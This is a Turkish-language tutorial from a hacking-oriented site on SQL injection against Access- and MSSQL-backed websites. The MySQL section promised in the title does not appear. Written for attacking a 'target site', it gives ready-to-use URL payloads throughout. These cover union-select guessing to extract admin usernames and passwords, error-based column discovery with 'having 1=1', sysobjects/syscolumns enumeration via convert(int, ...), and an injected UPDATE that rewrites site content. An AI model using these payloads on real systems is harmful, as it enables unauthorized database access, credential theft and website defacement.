Access, Mssql ve Mysql ile Sql Injection

Adminin Notu : Dikkat, Tahribat.Com'da çok gelişmiş bir sql injection koruma sistemi bulunmaktadır. Aşşağıda okuduğunuz bilgileri Tahribat.Com üzerinde uygulamaya calışmanız, server tarafından 1 gün boyunca engellenmenize sebep olur. Dikkat ediniz...

Access : Access sitelerde update olmaz. En basta bunu söyleyerek baslayayim. Bosuna update yapmaya çalismayin. Access sistemlerde tablo ve kolon adlarini ögrenebilecegimiz bir yolda olmadigi için tablo ve kolon adlarini bulmak için tek yol tablo ve kolonlari tahmin etmektir.

Diyelim ki sitemiz www.hedefite.com/haber.asp?id=1

simdi yapacagimi union select ile bilgileri çekmeye çalismaktir.

www.hedefsite.com/haber.asp?id=1+union+select+0+from+admin

bunu yazdiktan sonra eger admin tablosu yok ise

-The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly.

var ise

-The number of columns in the two selected tables or queries of a union query do not match.

Seklinde bi hata alinir. Ilk hatayi aldiysak tabloyu tutturamamisiz baska tablo adi denememiz gerekir. Ikinci hatayi aldiysak tablo adi dogru demektir. Simdiki isimiz kolon sayisini esitlemek olacaktir. Hata degisene kadar 0 koymaya devam etmemiz gerekiyor.hata degistikten sonra yada hata almazsak simdiki isimiz kolon adlarini tahmin etmek.

Örnek olarak; www.hedefsite.com/haber.asp?id=1+union+select+username,passw ord,0,0,0+from+admin

Access sitelerde sql injection yaparak eger sitenin bi admin paneli varsa onun sifresini yada bir üyelik girisi falan varsa üyelerin sifrelerini alabiliriz.

Mssql : mssql sql injection için en uygun sistemdir diyebilirim. Mssql sistemlerde hataya zorlayacak karakterleri yazdigimiz zaman örnek olarak : haber.asp?id=1’a unclosed hatasi aliyorsak update yapabilir. Update yapmak için tablo ve kolon adlarini ögrenmek lazim

Ögrenmek için having 1=1 kullaniriz.

www.hedefsite.com/news.asp?id=1 having 1=1

Column 'news.title' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Gibi bi hata aliriz. News tablosunda title kolonu varmis.

Diger kolon adlarini bulmak için

www.hedefsite.com/news.asp?id=1 group by title having 1=1

having 1=1 ‘den önce buldugumuz kolon adlarini group by ile birlikte yazarak diger kolon adlarini ögreniriz.

www.hedefsite.com/news.asp?id=1 update tablo_adi set kolon_adi=’yazilmak istenen yazi’;--

sekilde update yapilabilir.

Bir baska kolon ve tablo ögrenme sekli ise söyle

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'a'))

bu yazdigimiz kod ile alfabetik olarak ‘a’ karakterinden büyük olan ilk tablonun adini ögreniriz. Mesela article tablosunu verdi bize. Daha sonra

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'article'))

yazarak article tablosundan daha sonra gelen tabloyu buluruz bu sekilde tüm tablo adlarini bulabiliriz.

www.hedefsite.com/news.asp?id= convert(int, (select top 1 name from syscolumns where colid=COLUMNID and id=(select top 1 id from sysobjects where xtype='U' and name='kolonlarini ögrenmek istedigimiz tablo adi’)))

yazarak biraz önce adini ögrendigimiz tablonun kolon adlarini ögrenebiliriz. COLUMNID yazan yere 1 , 2 , 3 yazarak sirayla tabloda bulunan kolonlari alfabetik olarak ögrenebiliriz.

Tarih:
Hit: 4915
Yazar: r3dros

Taglar: access mssql ve mysql ile sql injection


Yorumlar


Siftahı yapan siz olun
Yorum yapabilmek için üye girişi yapmalısınız.